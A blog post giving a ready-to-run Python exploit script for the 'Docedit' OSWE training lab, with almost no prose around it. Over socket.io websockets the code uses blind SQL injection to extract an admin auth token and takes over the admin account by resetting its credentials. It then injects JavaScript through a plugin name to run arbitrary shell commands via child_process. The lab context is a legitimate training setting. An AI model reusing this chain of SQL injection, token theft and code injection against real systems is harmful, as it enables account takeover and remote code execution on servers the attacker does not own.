[SPOILER] Docedit OSWE Lab Exploit

Posted on Oct 29, 2024

Huseyn Gadashov

Replace values to the ones you have and you are good to go!

import random
import requests
import re
import websockets
import asyncio

def getSid(url):
    newUrl = url + '/socket.io/?EIO=3&transport=polling&t=PBNk2-7'
    s = requests.get(newUrl)
    match = re.search(r'sid":"(.*?)","upgra', s.text, re.DOTALL)
    sid = match.group().replace('sid":"', '').replace('","upgra','').strip()
    newUrl = url + f'/socket.io/?EIO=3&transport=polling&t=PBNk31Z&sid={sid}'
    s = requests.get(newUrl)
    return sid


async def register(url, sid, uname, cmd):
    headers = {'Cookie:' : f'io={sid}'}
    wsUrl = url.replace('http://', 'ws://').replace('https://', 'wss://') + f'/socket.io/?EIO=3&transport=websocket&sid={sid}'
    async with websockets.connect(wsUrl, extra_headers=headers) as websocket:
        await websocket.send('2probe')
        response = await websocket.recv()
        await websocket.send('5')
        await websocket.send('42["getRegister"]')
        response = await websocket.recv()
        await websocket.send(f'42["postRegister",{{"firstName":"{uname}","lastName":"{uname}","email":"{uname}@test.loc","password1":"sample","password2":"sample"}}]')
        response = await websocket.recv()
        if '"type":"success"' in response:
            user = uname
            print(f"Registered user {user}@test.loc:sample")
            await websocket.send(f'42["postLogin",{{"email":"{uname}@test.loc","password":"sample"}}]')
            response = await websocket.recv()
            match = re.search(r'"token":"(.*?)"}]', response, re.DOTALL)
            token = match.group().replace('"token":"', '').replace('"}]','').strip()
            print(f"User {user}@test.loc has token {token}")
            a = 0
            b = 1
            while a < float('inf'):
                payload = f'42["checkEmail",{{"token":"{token}","email":"hmm\' OR (length((select token from AuthTokens where UserId = 1 limit 0,1))) = {a} #-- -"}}]'
                await websocket.send(payload)
                response = await websocket.recv()
                if 'emailFound",true' in response:
                    length = a
                    break
                a += 1
            print(f"Length is {length}")
            asciiToken = []
            while b <= length - 1:
                i = 33
                while i < 127:
                    payload = f'42["checkEmail",{{"token":"{token}","email":"admin%\' AND (ascii(substr((select token from AuthTokens where UserId = 1 limit 0,1) ,{b},1))) = {i} #-- -"}}]'
                    await websocket.send(payload)
                    response = await websocket.recv()
                    await websocket.send(payload)
                    response = await websocket.recv()
                    if 'emailFound",true' in response:
                        print(payload)
                        print(response)
                        asciiToken.append(i)
                        b += 1
                        break
                    i += 1
            print(f'asciiToken {asciiToken}')
            token = ''.join(chr(i) for i in asciiToken)
            print(f'Admin token is {token}')
            message = await asyncio.wait_for(websocket.recv(), 3) # doing it cuz next request returns response of previous one
            payload = f'42["updateProfile",{{"firstName":"admin","lastName":"admin","email":"[email protected]","password1":"adminka","password2":"adminka","token":"{token}"}}]'
            await websocket.send(payload)
            response = await websocket.recv()
            print(f"response for admin {response}")
            if '"type":"success"' in response:
                print("Admin account details are [email protected]:adminka")
                payload = f'42["togglePlugin",{{"name":"chat_ws\')];(function(){{localLoad=global.process.mainModule.constructor._load;sh=localLoad(\'child_\'+\'process\').exec(\'{cmd}\')}}())//","enable":true,"token":"{token}"}}]'
                await websocket.send(payload)
                response = await websocket.recv()
                if '"type":"success"' in response:
                    print(f"Command {cmd} successfully executed!")
    return asciiToken  


if __name__ == "__main__":
    print("Important note, turns out sequence is important when sending websocket requests")
    s = requests.Session()
    uname = 'sample' + str(random.randint(1000000,9999999))
    url = 'http://docedit' #use IP address
    sid = getSid(url)
    cmd = 'touch /tmp/aaaaa.txt' #Any command you want, execution is blind
    asciiToken = asyncio.run(register(url, sid, uname, cmd))